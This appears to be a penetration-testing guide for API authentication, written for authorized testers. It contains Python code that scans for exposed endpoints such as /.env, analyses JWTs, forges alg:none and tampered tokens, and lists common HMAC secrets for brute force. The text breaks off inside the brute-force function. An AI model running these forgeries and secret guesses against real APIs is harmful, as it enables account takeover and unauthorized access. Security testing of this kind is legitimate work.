Testing API Authentication Weaknesses

Testing API Authentication Weaknesses

When to Use

• Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment
• Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)
• Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed
• Testing API key generation, storage, and rotation mechanisms for predictability or leakage
• Validating session management including token expiration, revocation, and refresh token security

Do not use without written authorization. Authentication testing involves attempting to bypass security controls.

Prerequisites

• Written authorization specifying target API and authentication mechanisms in scope
• Valid test credentials for at least two user roles (regular user, admin)
• Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)
• Python 3.10+ with requests, PyJWT, and jwt libraries
• Wordlists for credential testing (SecLists authentication wordlists)
• API documentation or OpenAPI specification

Workflow

Step 1: Authentication Mechanism Identification

import requests
import json

BASE_URL = "https://target-api.example.com/api/v1"

# Probe the API to identify authentication mechanisms
auth_indicators = {
    "jwt_bearer": False,
    "api_key_header": False,
    "api_key_query": False,
    "basic_auth": False,
    "oauth2": False,
    "session_cookie": False,
    "custom_token": False,
}

# Test 1: Check unauthenticated access
resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Endpoint accessible without authentication")

# Test 2: Check WWW-Authenticate header
if "WWW-Authenticate" in resp.headers:
    scheme = resp.headers["WWW-Authenticate"]
    print(f"Auth scheme advertised: {scheme}")
    if "Bearer" in scheme:
        auth_indicators["jwt_bearer"] = True
    elif "Basic" in scheme:
        auth_indicators["basic_auth"] = True

# Test 3: Login and examine tokens
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"username": "testuser@example.com", "password": "TestPass123!"})

if login_resp.status_code == 200:
    login_data = login_resp.json()
    # Check for JWT tokens
    for key in ["token", "access_token", "jwt", "id_token"]:
        if key in login_data:
            token = login_data[key]
            if token.count('.') == 2:
                auth_indicators["jwt_bearer"] = True
                print(f"JWT found in response field: {key}")
    # Check for refresh tokens
    for key in ["refresh_token", "refresh"]:
        if key in login_data:
            print(f"Refresh token found in field: {key}")
    # Check for session cookies
    for cookie in login_resp.cookies:
        print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
        if "session" in cookie.name.lower():
            auth_indicators["session_cookie"] = True

print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")

Step 2: Unauthenticated Endpoint Discovery

# Test all endpoints without authentication
endpoints = [
    ("GET", "/users"),
    ("GET", "/users/me"),
    ("GET", "/users/1"),
    ("GET", "/admin/users"),
    ("GET", "/admin/settings"),
    ("GET", "/health"),
    ("GET", "/metrics"),
    ("GET", "/debug"),
    ("GET", "/actuator"),
    ("GET", "/actuator/env"),
    ("GET", "/swagger.json"),
    ("GET", "/api-docs"),
    ("GET", "/graphql"),
    ("POST", "/graphql"),
    ("GET", "/config"),
    ("GET", "/internal/status"),
    ("GET", "/.env"),
    ("GET", "/status"),
    ("GET", "/info"),
    ("GET", "/version"),
]

print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
    try:
        resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
        if resp.status_code not in (401, 403):
            content_preview = resp.text[:100] if resp.text else "empty"
            print(f"  [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
    except requests.exceptions.RequestException:
        pass

Step 3: JWT Token Analysis

import base64
import json
import hmac
import hashlib

def decode_jwt_parts(token):
    """Decode JWT header and payload without verification."""
    parts = token.split('.')
    if len(parts) != 3:
        return None, None

    def pad_base64(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
    return header, payload

# Analyze the JWT token
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)

print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")

# Security checks
issues = []

# Check 1: Algorithm
if header.get("alg") == "none":
    issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
    issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")

# Check 2: Expiration
if "exp" not in payload:
    issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
    import time
    exp_time = payload["exp"]
    ttl = exp_time - time.time()
    if ttl > 86400:
        issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")

# Check 3: Sensitive data in payload
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
    if field in payload:
        issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")

# Check 4: Missing claims
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
    issues.append(f"MEDIUM: Missing standard claims: {missing}")

# Check 5: Key ID
if "kid" in header:
    kid = header["kid"]
    # Test for path traversal in kid
    issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")

for issue in issues:
    print(f"  [{issue.split(':')[0]}] {issue}")

Step 4: JWT Manipulation Attacks

# Attack 1: Remove signature (alg: none)
def forge_none_algorithm(token):
    """Create a token with alg:none to bypass signature verification."""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    header['alg'] = 'none'
    new_header = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    # Variations of the none algorithm
    return [
        f"{new_header}.{parts[1]}.",
        f"{new_header}.{parts[1]}.{parts[2]}",
        f"{new_header}.{parts[1]}.e30",
    ]

# Attack 2: Modify claims without re-signing
def forge_payload(token, modifications):
    """Modify payload claims and test if server validates signature."""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
    payload_data.update(modifications)
    new_payload = base64.urlsafe_b64encode(
        json.dumps(payload_data).encode()).decode().rstrip('=')
    return f"{parts[0]}.{new_payload}.{parts[2]}"

# Attack 3: Brute force weak HMAC secrets
COMMON_JWT_SECRETS = [
    "secret", "password", "123456", "jwt_secret", "supersecret",
    "key", "test", "admin", "changeme", "default",
    "your-256-bit-secret", "my-secret-key", "jwt-secret",
    "s3cr3t", "secret123", "mysecretkey", "apisecret",
]

def brute_force_jwt_secret(token):
    """Try common secrets against HMAC-signed JWTs."""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
        print("Not an HMAC token, skipping brute force")
        return None